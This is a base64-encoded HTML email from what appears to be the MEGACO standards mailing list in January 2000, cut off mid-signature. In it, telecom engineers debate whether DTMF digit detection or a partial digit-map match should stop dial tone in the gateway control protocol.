IGNvbG9yPSMwMDAwZmYgZmFjZT1BcmlhbCBzaXplPTI+PFNQQU4NCmNsYXNzPTk4MDQyMzYyMS0z MTAxMjAwMD48L1NQQU4+PC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBjb2xvcj0jMDAw MGZmIGZhY2U9QXJpYWwgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+PC9T UEFOPjwvRk9OVD4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgY29sb3I9IzAwMDBmZiBmYWNlPUFy aWFsIHNpemU9Mj48U1BBTiBjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+TXVyYXQNCkJvZy48L1NQ QU4+PC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwgc2l6 ZT0yPjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+Q29wcGVyQ29tIEluYy48L1NQQU4+ PC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwgc2l6ZT0y PjxTUEFODQpjbGFzcz05ODA0MjM2MjEtMzEwMTIwMDA+PC9TUEFOPjwvRk9OVD4mbmJzcDs8L0RJ Vj4NCjxESVY+PEZPTlQgZmFjZT1UYWhvbWE+PEZPTlQgc2l6ZT0yPjxTUEFODQpjbGFzcz05ODA0 MjM2MjEtMzEwMTIwMDA+Jm5ic3A7PC9TUEFOPi0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tPEJS PjxCPkZyb206PC9CPg0KVG9tLVBUIFRheWxvciBbbWFpbHRvOnRheWxvckBOT1JURUxORVRXT1JL Uy5DT01dPEJSPjxCPlNlbnQ6PC9CPiBNb25kYXksIEphbnVhcnkNCjMxLCAyMDAwIDY6NTIgQU08 QlI+PEI+VG86PC9CPg0KTUVHQUNPQFNUQU5EQVJEUy5OT1JURUxORVRXT1JLUy5DT008QlI+PEI+ U3ViamVjdDo8L0I+IFJlOiBGVzogUmU6IFN0b3BwaW5nIG9mDQpEaWFsIFRvbmU8QlI+PEJSPjwv RElWPjwvRk9OVD4NCjxCTE9DS1FVT1RFDQpzdHlsZT0iQk9SREVSLUxFRlQ6ICMwMDAwZmYgMnB4 IHNvbGlkOyBNQVJHSU4tTEVGVDogNXB4OyBQQURESU5HLUxFRlQ6IDVweCI+PC9GT05UPg0KICA8 UD48Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9QXJpYWwgc2l6ZT0yPkknbSBoYXBweSB0byBhY2Nl cHQgdGhpcyBhcyB0aGUNCiAgY29tbW9uIHVuZGVyc3RhbmRpbmcuPC9GT05UPiA8L1A+DQogIDxV TD4NCiAgICA8UD48Rk9OVCBmYWNlPUFyaWFsIHNpemU9MT4tLS0tLU9yaWdpbmFsIE1lc3NhZ2Ut LS0tLTwvRk9OVD4gPEJSPjxCPjxGT05UDQogICAgZmFjZT1BcmlhbCBzaXplPTE+RnJvbTombmJz cDsmbmJzcDs8L0ZPTlQ+PC9CPiA8Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6ZT0xPlNlbHZhbSBS ZW5nYXNhbWkgW1NNVFA6c3Jlbmdhc2FAVEVMQ09SRElBLkNPTV08L0ZPTlQ+IDxCUj48Qj48Rk9O VA0KICAgIGZhY2U9QXJpYWwgc2l6ZT0xPlNlbnQ6Jm5ic3A7Jm5ic3A7PC9GT05UPjwvQj4gPEZP TlQgZmFjZT1BcmlhbA0KICAgIHNpemU9MT5Nb25kYXksIEphbnVhcnkgMzEsIDIwMDAgODoxNyBB TTwvRk9OVD4gPEJSPjxCPjxGT05UIGZhY2U9QXJpYWwNCiAgICBzaXplPTE+VG86Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7PC9GT05UPjwvQj4gPEZPTlQgZmFjZT1BcmlhbA0KICAgIHNpemU9MT5N RUdBQ09AU1RBTkRBUkRTLk5PUlRFTE5FVFdPUktTLkNPTTwvRk9OVD4gPEJSPjxCPjxGT05UIGZh Y2U9QXJpYWwNCiAgICBzaXplPTE+U3ViamVjdDombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDs8L0ZPTlQ+PC9CPiA8Rk9OVA0KICAgIGZhY2U9QXJpYWwgc2l6ZT0xPlJl OiBGVzogUmU6IFN0b3BwaW5nIG9mIERpYWwgVG9uZTwvRk9OVD4gPC9QPg0KICAgIDxQPjxGT05U IGZhY2U9QXJpYWwgc2l6ZT0yPkpvaG4sPC9GT05UPiA8L1A+DQogICAgPFA+PEZPTlQgZmFjZT1B cmlhbCBzaXplPTI+VGhpcyB3YXMgYWxzbyBteSB3b3JraW5nIGFzc3VtcHRpb24gYW5kIEkgYWdy ZWUNCiAgICB0aGF0IEkgZG9uJ3QgcmVhbGx5IHNlZSB0aGlzIGFzPC9GT05UPiA8QlI+PEZPTlQg ZmFjZT1BcmlhbCBzaXplPTI+YSBwcm9ibGVtDQogICAgZWl0aGVyLjwvRk9OVD4gPC9QPg0KICAg IDxQPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPi1TZWx2YW0gUmVuZ2FzYW1pPC9GT05UPiA8QlI+ PEZPTlQgZmFjZT1BcmlhbA0KICAgIHNpemU9Mj5UZWxjb3JkaWEgVGVjaG5vbG9naWVzPC9GT05U PiA8L1A+DQogICAgPFA+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+VGVsOiZuYnNwOyArMSA3MzIg NzU4IDUyNjA8L0ZPTlQ+IDxCUj48Rk9OVA0KICAgIGZhY2U9QXJpYWwgc2l6ZT0yPkUtbWFpbDom bmJzcDsgc3Jlbmdhc2FAdGVsY29yZGlhLmNvbTwvRk9OVD4NCiAgICA8L1A+PEJSPjxCUj48QlI+ PEJSPg0KICAgIDxQPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPkpvaG4gU2VnZXJzICZsdDtqc2Vn ZXJzQExVQ0VOVC5DT00mZ3Q7IG9uDQogICAgMDEvMzEvMjAwMCAwNjozMzo0MSBBTTwvRk9OVD4g PC9QPg0KICAgIDxQPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPlBsZWFzZSByZXNwb25kIHRvIEpv aG4gU2VnZXJzDQogICAgJmx0O2pzZWdlcnNATFVDRU5ULkNPTSZndDs8L0ZPTlQ+IDwvUD4NCiAg ICA8UD48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj5UbzombmJzcDsmbmJzcDsNCiAgICBNRUdBQ09A U1RBTkRBUkRTLk5PUlRFTE5FVFdPUktTLkNPTTwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwN CiAgICBzaXplPTI+Y2M6Jm5ic3A7Jm5ic3A7Jm5ic3A7IChiY2M6IFNlbHZhbSBSZW5nYXNhbWkv VGVsY29yZGlhKTwvRk9OVD4NCiAgICA8QlI+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+U3ViamVj dDombmJzcDsgUmU6IEZXOiBSZTogU3RvcHBpbmcgb2YgRGlhbA0KICAgIFRvbmU8L0ZPTlQ+IDwv UD48QlI+PEJSPjxCUj4NCiAgICA8UD48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj5Ub20sPC9GT05U PiA8L1A+DQogICAgPFA+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+SXMgaXQgcmVhbGx5IGEgcHJv YmxlbT8mbmJzcDsgVGhlIHdheSBJIGFsd2F5cw0KICAgIHVuZGVyc3Rvb2QgdGhpcywgaXMgdGhh dDwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPmRldGVjdGlvbiBvZiBhbg0KICAg IGV2ZW50IHN0b3BzIGFuIGFjdGl2ZSBzaWduYWwuJm5ic3A7IEl0IGRvZXNuJ3QgbWF0dGVyIGhv dyB0aGU8L0ZPTlQ+DQogICAgPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPmV2ZW50IGlzIGRl dGVjdGVkIG9yIHJlcG9ydGVkLiZuYnNwOyBTbyBhbiBldmVudA0KICAgIHRoYXQgbGVhZHMgdG8g YSBwYXJ0aWFsPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+bWF0Y2ggaW4gYSBk aWdpdA0KICAgIG1hcCAodGhlIGZpcnN0IGRpZ2l0KSB3b3VsZCBzdG9wIGRpYWx0b25lLjwvRk9O VD4gPC9QPg0KICAgIDxQPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPklzIG15IHRoaW5raW5nIGZs YXdlZD88L0ZPTlQ+IDwvUD4NCiAgICA8UD48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj5Kb2huPC9G T05UPiA8L1A+DQogICAgPFA+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+VG9tLVBUIFRheWxvciB3 cm90ZTo8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6ZT0yPiZndDs8L0ZPTlQ+ IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7IFJlc2VuZCAtLSBmaXJzdCBhdHRlbXB0 DQogICAgZ290IHN3YWxsb3dlZC48L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4m Z3Q7PC9GT05UPiA8QlI+PEZPTlQNCiAgICBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7ICZndDsgLS0t LS1PcmlnaW5hbCBNZXNzYWdlLS0tLS08L0ZPTlQ+IDxCUj48Rk9OVA0KICAgIGZhY2U9QXJpYWwg c2l6ZT0yPiZndDsgJmd0OyBGcm9tOiBUYXlsb3IsIFRvbS1QVCBbQ0FSOkI5MDQ6RVhDSF08L0ZP TlQ+DQogICAgPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBTZW50OiBXZWRu ZXNkYXksIEphbnVhcnkgMjYsIDIwMDANCiAgICAxMjo0NiBQTTwvRk9OVD4gPEJSPjxGT05UIGZh Y2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBUbzombmJzcDsmbmJzcDsNCiAgICAnTWVnYWNvJzwv Rk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0Ow0KICAgIFN1YmplY3Q6 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IFJlOiBTdG9wcGluZyBvZiBEaWFsIFRvbmU8 L0ZPTlQ+DQogICAgPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OzwvRk9OVD4g PEJSPjxGT05UIGZhY2U9QXJpYWwNCiAgICBzaXplPTI+Jmd0OyAmZ3Q7IFRoZSBwcm9ibGVtIGlz IHJlYWwuJm5ic3A7IFRoZSBxdWVzdGlvbiBpcyB3aGF0IGV2ZW50DQogICAgZGV0ZWN0aW9uIG1l Y2hhbmlzbSB0bzwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyB1 c2UgdG8NCiAgICBzdG9wIGRpYWwgdG9uZS4mbmJzcDsgSXQgZG9lc24ndCBtYXR0ZXIgd2hldGhl ciB3ZSBkZWZpbmUgYSBuZXcgc3RhcnQNCiAgICBvZjwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJp YWwgc2l6ZT0yPiZndDsgJmd0OyBkaWFsbGluZyBldmVudCBvciBzaW1wbHkgdXNlDQogICAgdGhl IGV4aXN0aW5nIGRkLyogKCJkZXRlY3QgYW55IERUTUYgZGlnaXQiKTo8L0ZPTlQ+IDxCUj48Rk9O VCBmYWNlPUFyaWFsDQogICAgc2l6ZT0yPiZndDsgJmd0OyB0aGVyZSBpcyBhIHByb2JsZW0gb2Yg cG90ZW50aWFsIGludGVyYWN0aW9uIHdpdGggdGhlIGRpZ2l0DQogICAgbWFwLiZuYnNwOyBUaGUg bW9zdDwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0Ow0KICAgIHN0 cmFpZ2h0Zm9yd2FyZCBzb2x1dGlvbiBpcyB0aGF0IHRoZSBNR0MgaGFzIHRvIGFzayB0aGF0IHRo ZSBmaXJzdA0KICAgIGRpZ2l0PC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+Jmd0 OyAmZ3Q7IGJlIHJlcG9ydGVkLCBhbmQgb25seQ0KICAgIGFmdGVyIHRoYXQgaXQgY2FuIHNlbmQg ZG93biBhIGRpZ2l0IG1hcCBmb3I8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6 ZT0yPiZndDsgJmd0OyBldmVyeXRoaW5nIGVsc2UuJm5ic3A7IEFsdGVybmF0aXZlbHkgd2UgaGF2 ZSB0byBtb2RpZnkNCiAgICBzZWN0aW9uIDcuMS44IHRvIG1ha2UgaXQ8L0ZPTlQ+IDxCUj48Rk9O VCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7ICZndDsgY2xlYXINCiAgICB0aGF0IGl0IGlzIHBvc3Np YmxlIHRvIHJlcXVlc3QgZGlnaXQgZGV0ZWN0aW9uIGluIHBhcmFsbGVsIHdpdGg8L0ZPTlQ+DQog ICAgPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBkaWdpdCBtYXBwaW5nIChp LmUuIGRkLyogaW4NCiAgICBjb21iaW5hdGlvbiB3aXRoIGRkL2NlIHsuLi59IG1lYW5zIHRoYXQ8 L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6ZT0yPiZndDsgJmd0OyBpbmRpdmlk dWFsIGRpZ2l0IGV2ZW50cyBhcmUgZGV0ZWN0ZWQsIGJ1dCB0aGUgc2FtZSBkaWdpdHMNCiAgICBh cmUgYWxzbzwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBwcm9j ZXNzZWQgYnkgdGhlIGRpZ2l0DQogICAgbWFwLjwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwg c2l6ZT0yPiZndDsgJmd0OzwvRk9OVD4gPEJSPjxGT05UDQogICAgZmFjZT1BcmlhbCBzaXplPTI+ Jmd0OyAmZ3Q7IENvbW1lbnRzPzwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwNCiAgICBzaXpl PTI+Jmd0OyAmZ3Q7PC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+Jmd0OyAmZ3Q7 PC9GT05UPg0KICAgIDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7DQogICAgJmd0OyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOw0KICAgIEZyb206Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7IE1hZGh1IEJhYnUNCiAgICAmbHQ7Ym1iYWJ1QEhTUy5ITlMuQ09NJmd0OzwvRk9OVD4g PEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsNCiAgICAmZ3Q7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgU3Vi amVjdDombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgU3RvcHBpbmcgb2YgRGlhbCB0b25l PC9GT05UPg0KICAgIDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7ICZndDs8L0ZPTlQ+ IDxCUj48Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6ZT0yPiZndDsgJmd0OzwvRk9OVD4gPEJSPjxG T05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsNCiAgICAmZ3Q7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgSGkgYWxsLDwv Rk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OzwvRk9OVD4gPEJSPjxG T05UDQogICAgZmFjZT1BcmlhbCBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICBBY2Nv cmRpbmcgdG8gdGhlIGV4YW1wbGUgaW4gdGhlIEFwcGVuZGl4IEEuMS4yIHdoZW48L0ZPTlQ+IDxC Uj48Rk9OVA0KICAgIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBNR0MgcmVxdWVzdDwvRk9O VD4gPEJSPjxGT05UIGZhY2U9QXJpYWwNCiAgICBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsN CiAgICBNRyB0byBhcHBseSBkaWFsIHRvbmUgYW5kIGNoZWNrIGZvciBkaWdpdCBldmVudHMgaXQg aXM8L0ZPTlQ+IDxCUj48Rk9OVA0KICAgIGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBzcGVj aWZpZWQ8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6ZT0yPiZndDsNCiAgICAm Z3Q7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7DQogICAgYXM8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7 ICZndDs8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsDQogICAgc2l6ZT0yPiZndDsNCiAgICAm Z3Q7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7DQogICAgRXZlbnRzID0gMjIyMyB7PC9GT05UPiA8QlI+PEZPTlQgZmFjZT1Bcmlh bCBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICBhbC9vbiwgZGQvY2Uge0RpZ2l0TWFw PURpYWxwbGFuMH08L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7DQogICAg Jmd0OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOw0KICAgIH08L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7 DQogICAgJmd0OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOw0KICAgIFNpZ25hbHMge2NnL2R0fSw8L0ZPTlQ+IDxCUj48Rk9OVCBm YWNlPUFyaWFsIHNpemU9Mj4mZ3Q7ICZndDs8L0ZPTlQ+DQogICAgPEJSPjxGT05UIGZhY2U9QXJp YWwgc2l6ZT0yPiZndDsNCiAgICAmZ3Q7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgQWNjb3JkaW5nIHRvIHRoZSBwcm90 b2NvbCBhbiBzaWduYWwgaXMgc3RvcHBlZDwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwNCiAg ICBzaXplPTI+Jmd0OyAmZ3Q7IFdoZW5ldmVyIGFueTwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJp YWwgc2l6ZT0yPiZndDsNCiAgICAmZ3Q7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgZXZlbnQgb2NjdXJzLiBhbmQgaGVy ZSB0aGUgZXZlbnQgcmVxdWVzdGVkIGJ5IE1HQyBpczwvRk9OVD4gPEJSPjxGT05UDQogICAgZmFj ZT1BcmlhbCBzaXplPTI+Jmd0OyAmZ3Q7IGRpZ2l0bWFwPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1B cmlhbCBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICBjb21wbGV0aW9uLHRoYXQgbWVh bnMgZGlhbCB0b25lIHdpbGwgYmUgc3RvcHBlZCB3aGVuPC9GT05UPiA8QlI+PEZPTlQNCiAgICBm YWNlPUFyaWFsIHNpemU9Mj4mZ3Q7ICZndDsgd2UgZ2V0PC9GT05UPiA8QlI+PEZPTlQgZmFjZT1B cmlhbCBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICBhbGwgdGhlIGRpZ2l0cyAoYXMg aW1wbGllZCBieSB0aGUgbmFtZSBkaWdpdG1hcDwvRk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwN CiAgICBzaXplPTI+Jmd0OyAmZ3Q7IGNvbXBsZXRpb24pLjwvRk9OVD4gPEJSPjxGT05UIGZhY2U9 QXJpYWwgc2l6ZT0yPiZndDsNCiAgICAmZ3Q7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgV2hhdCBJIHN1Z2dlc3QgaXMg dGhhdCBhIG5ldyBldmVudCBsaWtlPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbA0KICAgIHNp emU9Mj4mZ3Q7ICZndDsgImZpcnN0ZGlnaXRjb21wbGV0aW9uIjwvRk9OVD4gPEJSPjxGT05UIGZh Y2U9QXJpYWwNCiAgICBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICBzaG91bGQgYWxz byZuYnNwOyBiZSBzcGVjaWZpZWQsIG90aGVyd2lzZSBob3cgY2FuIHRoZSBmaXJzdDwvRk9OVD4g PEJSPjxGT05UDQogICAgZmFjZT1BcmlhbCBzaXplPTI+Jmd0OyAmZ3Q7IGRpZ2l0IGl0c2VsZjwv Rk9OVD4gPEJSPjxGT05UIGZhY2U9QXJpYWwNCiAgICBzaXplPTI+Jmd0Ow0KICAgICZndDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsNCiAgICBzdG9wcyB0aGUgZGlhbHRvbmUuPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbCBz aXplPTI+Jmd0OyAmZ3Q7PC9GT05UPg0KICAgIDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4m Z3Q7DQogICAgJmd0OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgIHJlZ2FyZHM8L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFy aWFsIHNpemU9Mj4mZ3Q7DQogICAgJmd0OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgIC1NYWRodWJhYnU8L0ZPTlQ+IDxC Uj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mZ3Q7ICZndDs8L0ZPTlQ+IDxCUj48Rk9OVA0KICAg IGZhY2U9QXJpYWwgc2l6ZT0yPiZndDsgJmd0OyBUb20gVGF5bG9yPC9GT05UPiA8QlI+PEZPTlQg ZmFjZT1BcmlhbA0KICAgIHNpemU9Mj4mZ3Q7ICZndDsgQWR2aXNvciAtLSBJUENvbm5lY3QgU3Rh bmRhcmRzPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbA0KICAgIHNpemU9Mj4mZ3Q7ICZndDsg RS1tYWlsOiB0YXlsb3JAbm9ydGVsbmV0d29ya3MuY29tIChpbnRlcm5hbGx5LCBUb20tUFQNCiAg ICBUYXlsb3IpPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+Jmd0OyAmZ3Q7IFBo b25lIGFuZCBGQVg6ICsxIDYxMw0KICAgIDczNiAwOTYxPC9GT05UPiA8QlI+PEZPTlQgZmFjZT1B cmlhbCBzaXplPTI+Jmd0OyAmZ3Q7PC9GT05UPiA8L1A+DQogICAgPFA+PEZPTlQgZmFjZT1Bcmlh bCBzaXplPTI+LS08L0ZPTlQ+IDxCUj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj5Kb2huDQogICAg U2VnZXJzJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i 